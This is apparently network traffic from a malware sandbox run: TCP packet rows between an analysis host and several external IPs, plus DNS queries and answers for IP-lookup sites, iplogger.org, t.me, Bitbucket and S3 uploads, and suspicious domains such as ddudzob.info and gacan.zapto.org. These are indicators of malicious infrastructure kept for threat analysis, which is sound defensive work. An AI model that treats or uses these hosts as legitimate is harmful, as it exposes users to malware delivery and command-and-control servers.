Sep 18, 2024 14:30:10.219748020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219748020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219748020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219755888 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219758034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219763994 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219768047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219783068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219784021 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219794035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219805002 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219805002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.219827890 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219829082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219841957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219845057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219845057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.219850063 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219850063 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.219852924 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219866037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.219876051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219886065 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219887018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.219935894 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.219935894 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220201015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220212936 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220225096 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220236063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220238924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220247030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220253944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220268011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220278978 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220288992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220295906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220299959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220310926 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220316887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220316887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220316887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220321894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220333099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220345020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220350027 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220355988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220366955 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220370054 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220380068 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220385075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220396996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220406055 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220410109 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220416069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220427036 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220432043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220438957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220451117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220460892 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220460892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220474958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220487118 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220498085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220501900 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220501900 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220509052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220510006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220523119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220532894 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220535994 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220547915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220558882 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220558882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220570087 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220576048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220582008 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220592022 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220592976 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220604897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220618010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220629930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220633030 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220642090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220645905 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220657110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220666885 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220668077 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.220686913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220695019 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220695972 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220695972 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220699072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220710039 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220714092 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.220721960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220731974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220735073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220746040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220757961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.220758915 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220769882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.220778942 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.220781088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.220793962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.220805883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220810890 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.220818043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.220830917 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.220854998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221163034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221175909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221185923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221196890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221201897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221208096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221220970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221230030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221230984 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221242905 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221244097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221256018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221261024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221266985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221275091 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221277952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221287966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221299887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221301079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221312046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221323967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221328020 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221330881 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221344948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221347094 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221357107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221369028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221370935 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221379042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221390009 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221391916 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221401930 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221404076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221415997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221426964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221429110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221430063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221438885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221451044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221452951 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221453905 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221456051 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221467972 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221468925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221479893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221491098 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221503019 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221503019 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221510887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221523046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221533060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221534967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221539974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221544027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221554995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221560001 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221560955 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221565008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221577883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221577883 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221591949 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221602917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221610069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221611023 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221615076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221626043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221636057 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221636057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221648932 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.221652031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221661091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221673012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221683025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221694946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221703053 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.221705914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221715927 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221716881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221733093 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221735954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221745968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221749067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221756935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221766949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221776009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221779108 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221790075 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221801996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221817970 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.221967936 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221981049 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.221992970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222002983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222002983 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222014904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222024918 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222024918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222035885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222049952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222054958 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222068071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222080946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222089052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222089052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222090960 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222103119 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222111940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222115040 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222126961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222136021 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222137928 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.222150087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222151041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222162008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222173929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222176075 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.222183943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222193956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222203970 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222204924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222218037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222219944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222229958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222235918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222243071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222256899 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222263098 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222270966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222282887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222291946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222301006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222302914 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222313881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222327948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222331047 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222341061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222347021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222352982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222357035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222364902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222378016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222383976 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222389936 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222402096 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222409964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222414017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222424984 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222424984 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222438097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222450018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222450018 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222462893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222475052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222475052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222490072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222491980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.222502947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.222507954 CEST	49705	80	192.168.2.7	103.130.147.211

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 18, 2024 14:30:00.937417030 CEST	192.168.2.7	1.1.1.1	0x6d37	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:02.381191015 CEST	192.168.2.7	1.1.1.1	0x2e82	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:03.025171041 CEST	192.168.2.7	1.1.1.1	0x16fb	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.667685986 CEST	192.168.2.7	1.1.1.1	0xaa9b	Standard query (0)	240902180529931.tyr.zont16.com	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.670289040 CEST	192.168.2.7	1.1.1.1	0xdae9	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.671561956 CEST	192.168.2.7	1.1.1.1	0x1cd6	Standard query (0)	innovaxingenieros.com	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.193624973 CEST	192.168.2.7	1.1.1.1	0x54	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:23.863262892 CEST	192.168.2.7	1.1.1.1	0x142	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:31.531281948 CEST	192.168.2.7	1.1.1.1	0x139c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:27.792229891 CEST	192.168.2.7	141.98.234.31	0x1c50	Standard query (0)	ddudzob.info	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:34.925035000 CEST	192.168.2.7	1.1.1.1	0xacd3	Standard query (0)	gacan.zapto.org	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:31:36.576592922 CEST	192.168.2.7	1.1.1.1	0xe26e	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:32:09.945966959 CEST	192.168.2.7	1.1.1.1	0x322c	Standard query (0)	DfaHzNEFWflnBHLCTDHez.DfaHzNEFWflnBHLCTDHez	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 18, 2024 14:30:00.944158077 CEST	1.1.1.1	192.168.2.7	0x6d37	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:00.944158077 CEST	1.1.1.1	192.168.2.7	0x6d37	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:02.430428982 CEST	1.1.1.1	192.168.2.7	0x2e82	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:03.033138037 CEST	1.1.1.1	192.168.2.7	0x16fb	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 18, 2024 14:30:06.676949024 CEST	1.1.1.1	192.168.2.7	0xdae9	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.676949024 CEST	1.1.1.1	192.168.2.7	0xdae9	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.676949024 CEST	1.1.1.1	192.168.2.7	0xdae9	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.762932062 CEST	1.1.1.1	192.168.2.7	0xaa9b	Server failure (2)	240902180529931.tyr.zont16.com	none	none	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:06.870145082 CEST	1.1.1.1	192.168.2.7	0x1cd6	No error (0)	innovaxingenieros.com		167.114.163.236	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.138.137	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.197.225	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.108.19	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.1.76	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.69.41	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.232.33	A (IP address)	IN (0x0001)	false
Sep 18, 2024 14:30:10.225583076 CEST	1.1.1.1	192.168.2.7	0x54	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.104	A (IP address)	IN (0x0001)	false
